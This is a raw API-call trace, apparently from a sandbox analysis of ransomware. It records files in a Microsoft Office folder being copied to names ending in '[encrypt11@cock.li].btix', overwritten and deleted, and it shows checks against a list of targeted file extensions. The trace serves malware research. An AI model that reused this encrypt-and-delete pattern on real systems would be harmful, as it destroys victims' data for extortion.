1 [0159.915] SetEndOfFile (hFile=0x360) returned 1 [0159.915] CloseHandle (hObject=0x360) returned 1 [0159.916] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.916] SetEndOfFile (hFile=0x348) returned 1 [0159.916] CloseHandle (hObject=0x348) returned 1 [0159.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0159.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0159.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0159.917] lstrlenW (lpString=".doc") returned 4 [0159.917] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.917] lstrlenW (lpString=".docx") returned 5 [0159.917] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.917] lstrlenW (lpString=".pdf") returned 4 [0159.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.917] lstrlenW (lpString=".xls") returned 4 [0159.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.917] lstrlenW (lpString=".xlsx") returned 5 [0159.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.917] lstrlenW (lpString=".ppt") returned 4 [0159.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0159.918] lstrlenW (lpString=".zip") returned 4 [0159.918] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.918] lstrlenW (lpString=".rar") returned 4 [0159.918] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.918] lstrlenW (lpString=".bz2") returned 4 [0159.918] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.918] lstrlenW (lpString=".7z") returned 3 [0159.918] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0159.918] lstrlenW (lpString=".dbf") returned 4 [0159.918] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0159.918] lstrlenW (lpString=".1cd") returned 4 [0159.918] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0159.918] lstrlenW (lpString=".jpg") returned 4 [0159.918] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.918] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.918] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.919] GetLastError () returned 0x0 [0159.919] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x72c0, lpOverlapped=0x0) returned 1 [0159.948] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x72d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x72d0, lpOverlapped=0x0) returned 1 [0159.949] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.949] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x110, lpOverlapped=0x0) returned 1 [0159.949] SetEndOfFile (hFile=0x360) returned 1 [0159.949] CloseHandle (hObject=0x360) returned 1 [0159.949] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.949] SetEndOfFile (hFile=0x348) returned 1 [0159.950] CloseHandle (hObject=0x348) returned 1 [0159.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0159.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0159.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0159.951] lstrlenW (lpString=".doc") returned 4 [0159.951] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.951] lstrlenW (lpString=".docx") returned 5 [0159.951] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.951] lstrlenW (lpString=".pdf") returned 4 [0159.951] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.951] lstrlenW (lpString=".xls") returned 4 [0159.951] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.951] lstrlenW (lpString=".xlsx") returned 5 [0159.951] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.951] lstrlenW (lpString=".ppt") returned 4 [0159.951] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0159.951] lstrlenW (lpString=".zip") returned 4 [0159.951] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.951] lstrlenW (lpString=".rar") returned 4 [0159.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.951] lstrlenW (lpString=".bz2") returned 4 [0159.952] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.952] lstrlenW (lpString=".7z") returned 3 [0159.952] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0159.952] lstrlenW (lpString=".dbf") returned 4 [0159.952] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0159.952] lstrlenW (lpString=".1cd") returned 4 [0159.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0159.952] lstrlenW (lpString=".jpg") returned 4 [0159.952] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.952] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.952] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.953] GetLastError () returned 0x0 [0159.953] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0159.978] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0159.980] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.980] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x116, lpOverlapped=0x0) returned 1 [0159.980] SetEndOfFile (hFile=0x360) returned 1 [0159.980] CloseHandle (hObject=0x360) returned 1 [0159.980] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.980] SetEndOfFile (hFile=0x348) returned 1 [0159.981] CloseHandle (hObject=0x348) returned 1 [0159.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0159.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82 [0159.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82 [0159.982] lstrlenW (lpString=".doc") returned 4 [0159.982] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.982] lstrlenW (lpString=".docx") returned 5 [0159.982] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.982] lstrlenW (lpString=".pdf") returned 4 [0159.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.982] lstrlenW (lpString=".xls") returned 4 [0159.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.982] lstrlenW (lpString=".xlsx") returned 5 [0159.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.982] lstrlenW (lpString=".ppt") returned 4 [0159.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82 [0159.982] lstrlenW (lpString=".zip") returned 4 [0159.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.982] lstrlenW (lpString=".rar") returned 4 [0159.982] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.982] lstrlenW (lpString=".bz2") returned 4 [0159.982] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.982] lstrlenW (lpString=".7z") returned 3 [0159.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82 [0159.982] lstrlenW (lpString=".dbf") returned 4 [0159.982] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82 [0159.982] lstrlenW (lpString=".1cd") returned 4 [0159.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82 [0159.982] lstrlenW (lpString=".jpg") returned 4 [0159.982] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.987] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.987] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.987] GetLastError () returned 0x0 [0159.988] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0160.042] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0160.044] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.044] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x116, lpOverlapped=0x0) returned 1 [0160.044] SetEndOfFile (hFile=0x360) returned 1 [0160.069] CloseHandle (hObject=0x360) returned 1 [0160.069] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.069] SetEndOfFile (hFile=0x348) returned 1 [0160.070] CloseHandle (hObject=0x348) returned 1 [0160.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0160.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0160.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0160.184] lstrlenW (lpString=".doc") returned 4 [0160.184] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.184] lstrlenW (lpString=".docx") returned 5 [0160.184] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.184] lstrlenW (lpString=".pdf") returned 4 [0160.184] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.184] lstrlenW (lpString=".xls") returned 4 [0160.184] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.185] lstrlenW (lpString=".xlsx") returned 5 [0160.185] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.185] lstrlenW (lpString=".ppt") returned 4 [0160.185] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0160.185] lstrlenW (lpString=".zip") returned 4 [0160.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.185] lstrlenW (lpString=".rar") returned 4 [0160.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.185] lstrlenW (lpString=".bz2") returned 4 [0160.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.185] lstrlenW (lpString=".7z") returned 3 [0160.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0160.185] lstrlenW (lpString=".dbf") returned 4 [0160.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0160.185] lstrlenW (lpString=".1cd") returned 4 [0160.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0160.185] lstrlenW (lpString=".jpg") returned 4 [0160.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.314] GetLastError () returned 0x0 [0160.314] ReadFile (in: hFile=0x368, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x221, lpOverlapped=0x0) returned 1 [0160.315] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x230, lpOverlapped=0x0) returned 1 [0160.316] ReadFile (in: hFile=0x368, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.316] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x10c, lpOverlapped=0x0) returned 1 [0160.316] SetEndOfFile (hFile=0x300) returned 1 [0160.316] CloseHandle (hObject=0x300) returned 1 [0160.316] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.316] SetEndOfFile (hFile=0x368) returned 1 [0160.317] CloseHandle (hObject=0x368) returned 1 [0160.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0160.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0160.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0160.318] lstrlenW (lpString=".doc") returned 4 [0160.318] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString=".docx") returned 5 [0160.318] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0160.318] lstrlenW (lpString=".pdf") returned 4 [0160.318] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString=".xls") returned 4 [0160.318] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString=".xlsx") returned 5 [0160.318] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0160.318] lstrlenW (lpString=".ppt") returned 4 [0160.318] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0160.318] lstrlenW (lpString=".zip") returned 4 [0160.318] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString=".rar") returned 4 [0160.318] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString=".bz2") returned 4 [0160.318] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0160.318] lstrlenW (lpString=".7z") returned 3 [0160.318] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0160.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0160.318] lstrlenW (lpString=".dbf") returned 4 [0160.318] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0160.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0160.319] lstrlenW (lpString=".1cd") returned 4 [0160.319] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0160.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0160.319] lstrlenW (lpString=".jpg") returned 4 [0160.319] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0160.319] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.319] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.320] GetLastError () returned 0x0 [0160.320] ReadFile (in: hFile=0x368, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2f8d8, lpOverlapped=0x0) returned 1 [0160.325] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2f8e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2f8e0, lpOverlapped=0x0) returned 1 [0160.328] ReadFile (in: hFile=0x368, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.328] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf6, lpOverlapped=0x0) returned 1 [0160.328] SetEndOfFile (hFile=0x300) returned 1 [0160.328] CloseHandle (hObject=0x300) returned 1 [0160.328] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.328] SetEndOfFile (hFile=0x368) returned 1 [0160.330] CloseHandle (hObject=0x368) returned 1 [0160.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 1 [0160.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0160.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0160.331] lstrlenW (lpString=".doc") returned 4 [0160.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.331] lstrlenW (lpString=".docx") returned 5 [0160.331] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0160.331] lstrlenW (lpString=".pdf") returned 4 [0160.331] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.331] lstrlenW (lpString=".xls") returned 4 [0160.331] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.331] lstrlenW (lpString=".xlsx") returned 5 [0160.331] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0160.331] lstrlenW (lpString=".ppt") returned 4 [0160.331] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0160.332] lstrlenW (lpString=".zip") returned 4 [0160.332] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.332] lstrlenW (lpString=".rar") returned 4 [0160.332] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 